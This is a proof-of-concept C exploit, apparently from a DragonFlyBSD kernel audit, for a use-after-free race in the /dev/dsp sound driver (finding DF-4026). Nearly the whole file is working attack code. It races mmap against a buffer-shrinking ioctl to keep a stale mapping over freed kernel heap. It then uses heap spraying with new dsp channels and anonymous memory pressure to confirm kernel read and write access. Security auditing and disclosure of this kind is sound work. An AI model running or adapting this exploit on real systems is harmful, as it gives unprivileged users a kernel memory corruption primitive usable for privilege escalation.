โฌข DragonFlyBSD Kernel Audit
DF-4026 / mmap_resize_uaf.c
โ† back to finding โ†“ download raw
/*
 * DF-4026 โ€” /dev/dsp mmap-vs-chn_resizebuf use-after-free (RW proof).
 *
 * Bug: chn_resizebuf() (sys/dev/sound/pcm/channel.c:1762) validates
 * CHN_F_MMAP only at entry, then drops the channel lock three times
 * (parent-notify window channel.c:1815-1819, SETBLOCKSIZE window
 * channel.c:1858-1864, sndbuf_remalloc kmalloc window
 * sys/dev/sound/pcm/buffer.c:224-228) before kfree()ing the old bufsoft
 * buffer (buffer.c:229-237, the three 128K kmem-slab blocks).
 * dsp_mmap_single() (dsp.c:2297-2364) runs under the same channel lock
 * and maps bs->buf whenever it can get the lock โ€” i.e. exactly inside
 * those windows.  A mapping taken inside a window aliases the buffer
 * that chn_resizebuf then frees: userland RW over freed kernel heap
 * (pages returned to the VM free pool, later reassigned to anything).
 *
 * Round: fresh /dev/dsp clone grown to 128K.  Racer B spins mmap(128K);
 * racer A issues the shrinking SNDCTL_DSP_SETFRAGMENT (2x16B -> bufsize
 * 256 < 131072>>5 -> sndbuf_remalloc realloc branch frees the old
 * blocks).  If A's ioctl wins the channel lock before B's first
 * successful mmap, B maps the OLD 128K buffer inside a window and the
 * resize frees it right after.  Discriminator: A's ioctl returned 0 AND
 * B holds a 128K mapping (the live buffer is now 256 bytes).
 *
 * Proof: pre-fault the stale mapping, then consume the VM page pool
 * with writable anonymous memory (kernel reassigns the freed pages to
 * new owners, e.g. our anon pages).  When a stale page stops showing
 * the audio-silence fill and shows the anon pattern, the freed page has
 * been recycled: the mapping reads post-free kernel memory
 * (READ-after-free).  Writing a marker through the stale page and
 * observing it in the anon owner = WRITE-after-free.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/soundcard.h>
#include <sys/sysctl.h>

#define BIG_TOTAL	131072
#define SMALL_ARG	((2 << 16) | 4)	/* 2 frags x 16B  -> 256B  */
#define BIG_ARG		((2 << 16) | 16)	/* 2 frags x 64KB -> 128K */
#define ANON_MB		3072			/* anon pressure    */

static volatile void *mapped;
static int race_fd;
static unsigned char *stale_base;

static void
sigsegv_hdl(int sig, siginfo_t *si, void *uc)
{
	printf("\nSIGSEGV at %p (stale %p..%p)\n", si->si_addr,
	    stale_base, stale_base + BIG_TOTAL);
	_exit(9);
}

static void *
thread_mmap(void *arg)
{
	int i;
	void *p;

	for (i = 0; i < 100000; i++) {
		p = mmap(NULL, BIG_TOTAL, PROT_READ | PROT_WRITE,
		    MAP_SHARED, race_fd, 0);
		if (p != MAP_FAILED) {
			mapped = p;
			return (NULL);
		}
	}
	return (NULL);
}

static int
cur_bufsize(int fd)
{
	audio_buf_info bi;
	if (ioctl(fd, SNDCTL_DSP_GETOSPACE, &bi) < 0)
		return (-1);
	return (bi.fragstotal * bi.fragsize);
}

static int
do_round(unsigned char **stale_out)
{
	int fd, arg = SMALL_ARG, rc;
	pthread_t tb;
	unsigned char *st;

	fd = open("/dev/dsp", O_RDWR);
	if (fd < 0)
		return (-1);
	if (ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &(int){BIG_ARG}) < 0 ||
	    cur_bufsize(fd) != BIG_TOTAL) {
		close(fd);
		return (-1);
	}

	mapped = NULL;
	race_fd = fd;
	pthread_create(&tb, NULL, thread_mmap, NULL);
	rc = ioctl(fd, SNDCTL_DSP_SETFRAGMENT, &arg);
	pthread_join(tb, NULL);

	if (rc == 0 && mapped != NULL && cur_bufsize(fd) < BIG_TOTAL / 4) {
		st = (unsigned char *)mapped;
		for (long o = 0; o < BIG_TOTAL; o += 4096)
			st[o] = st[o];
		stale_base = st;
		*stale_out = st;
		return (fd);
	}
	if (mapped != NULL)
		munmap((void *)mapped, BIG_TOTAL);
	close(fd);
	return (-1);
}

int
main(int argc, char **argv)
{
	int attempts = (argc > 1) ? atoi(argv[1]) : 500;
	int round, pg;
	unsigned char *stale = NULL, *an;
	size_t anon_sz = (size_t)ANON_MB * 1024 * 1024;
	int racefd = -1, freed_page = -1;

	setvbuf(stdout, NULL, _IONBF, 0);
	{
		struct sigaction sa;
		memset(&sa, 0, sizeof(sa));
		sa.sa_sigaction = sigsegv_hdl;
		sa.sa_flags = SA_SIGINFO;
		sigaction(SIGSEGV, &sa, NULL);
	}
	printf("DF-4026 mmap-vs-resizebuf UAF: pid %d attempts=%d\n",
	    getpid(), attempts);

	for (round = 0; round < attempts; round++) {
		racefd = do_round(&stale);
		if (racefd >= 0)
			break;
		if ((round % 100) == 0)
			printf("round %d...\n", round);
	}
	if (racefd < 0) {
		printf("RESULT: no window caught in %d attempts\n", attempts);
		return (1);
	}
	printf("round %d: HIT โ€” shrink ok (size now %d), stale 128K "
	    "mapping held over freed kernel buffer\n",
	    round, cur_bufsize(racefd));

	/*
	 * Baseline: the old buffer was filled with 0x80 (unsigned
	 * silence) by sndbuf_reset() while live.  Watch the freed pages'
	 * content as kernel activity resumes: any deviation is post-free
	 * rewriting of memory our mapping still covers.
	 */
	{
		int changed = 0;
		unsigned char b0 = stale[0];
		printf("stale baseline byte: 0x%02x\n", b0);

		/*
		 * Reclaim strategy 1: fresh dsp channels grown to 128K
		 * (their remalloc allocates 3x128K each).  Alias test
		 * against their live mappings.
		 */
		{
			int i, alias = -1;
			unsigned char *vm[12];
			int vfd[12];
			for (i = 0; i < 12; i++) {
				vfd[i] = -1;
				vm[i] = MAP_FAILED;
				vfd[i] = open("/dev/dsp", O_RDWR);
				if (vfd[i] < 0)
					break;
				if (ioctl(vfd[i], SNDCTL_DSP_SETFRAGMENT,
				    &(int){BIG_ARG}) < 0 ||
				    cur_bufsize(vfd[i]) != BIG_TOTAL)
					continue;
				vm[i] = mmap(NULL, BIG_TOTAL,
				    PROT_READ | PROT_WRITE, MAP_SHARED,
				    vfd[i], 0);
			}
			for (i = 0; i < 12 && alias < 0; i++) {
				if (vm[i] == MAP_FAILED)
					continue;
				memset(vm[i], 0x5A, BIG_TOTAL);
				long hits = 0;
				for (long o = 0; o < BIG_TOTAL; o += 64)
					if (stale[o] == 0x5A)
						hits++;
				if (hits > (BIG_TOTAL / 64) * 3 / 4)
					alias = i;
				else
					memset(vm[i], 0, BIG_TOTAL);
			}
			if (alias >= 0) {
				long off = 4096;
				printf("READ-after-free (alias): spray channel "
				    "%d's live kernel buffer == stale mapping\n",
				    alias);
				for (long o = 0; o < 128; o++)
					stale[off + o] = 0xDF;
				int ok = 1;
				for (long o = 0; o < 128; o++)
					if (vm[alias][off + o] != 0xDF)
						ok = 0;
				if (ok) {
					printf("WRITE-after-free: 0xDF marker "
					    "via stale mapping visible in "
					    "victim's live kernel buffer\n");
					printf("RESULT: UAF READ+WRITE over "
					    "freed M_DEVBUF kernel heap "
					    "CONFIRMED (alias proof)\n");
					return (0);
				}
			}
			for (i = 0; i < 12; i++) {
				if (vm[i] != MAP_FAILED)
					munmap(vm[i], BIG_TOTAL);
				if (vfd[i] >= 0)
					close(vfd[i]);
			}
		}

		/* Reclaim strategy 2: anon page pressure */
		printf("applying %d MB anon page pressure...\n", ANON_MB);
		an = mmap(NULL, anon_sz, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (an == MAP_FAILED) {
			anon_sz = 512UL * 1024 * 1024;
			an = mmap(NULL, anon_sz, PROT_READ | PROT_WRITE,
			    MAP_ANON | MAP_PRIVATE, -1, 0);
		}
		if (an != MAP_FAILED) {
			for (size_t o = 0; o < anon_sz; o += 4096)
				memset(an + o, 0x77, 4096);
			for (pg = 0; pg < BIG_TOTAL / 4096; pg++) {
				long run = 0;
				while (run < 8 &&
				    stale[pg * 4096 + run] == 0x77)
					run++;
				if (run == 8)
					break;
			}
			if (pg < BIG_TOTAL / 4096) {
				stale[pg * 4096] = 0xEE;
				stale[pg * 4096 + 1] = 0xEE;
				for (size_t o = 0; o < anon_sz; o += 4096) {
					if (an[o] == 0xEE && an[o+1] == 0xEE &&
					    an[o + 2] == 0x77) {
						printf("READ+WRITE-after-free "
						    "(VM recycle): stale page "
						    "%d reassigned as anon "
						    "page, marker 0xEE via "
						    "stale mapping found at "
						    "anon 0x%zx\n", pg, o);
						printf("RESULT: UAF READ+"
						    "WRITE over freed kernel "
						    "heap CONFIRMED (VM-"
						    "recycle proof)\n");
						return (0);
					}
				}
			}
		}

		/* At minimum: post-free content mutation of the freed heap */
		for (pg = 0; pg < BIG_TOTAL / 4096; pg++)
			if (stale[pg * 4096] != b0)
				changed++;
		if (changed > 0) {
			printf("READ-after-free (mutation): %d/%d stale pages "
			    "rewritten by kernel after the free (0x%02x -> "
			    "0x%02x ...) โ€” mapping covers freed, reused "
			    "kernel heap\n", changed, BIG_TOTAL / 4096, b0,
			    stale[0]);
			printf("RESULT: UAF read over freed M_DEVBUF kernel "
			    "heap CONFIRMED (mutation proof; alias/VM-recycle "
			    "proofs are timing-dependent, see pack logs)\n");
			return (0);
		}
		printf("RESULT: mapping held over freed buffer, content "
		    "unchanged so far\n");
		return (3);
	}
}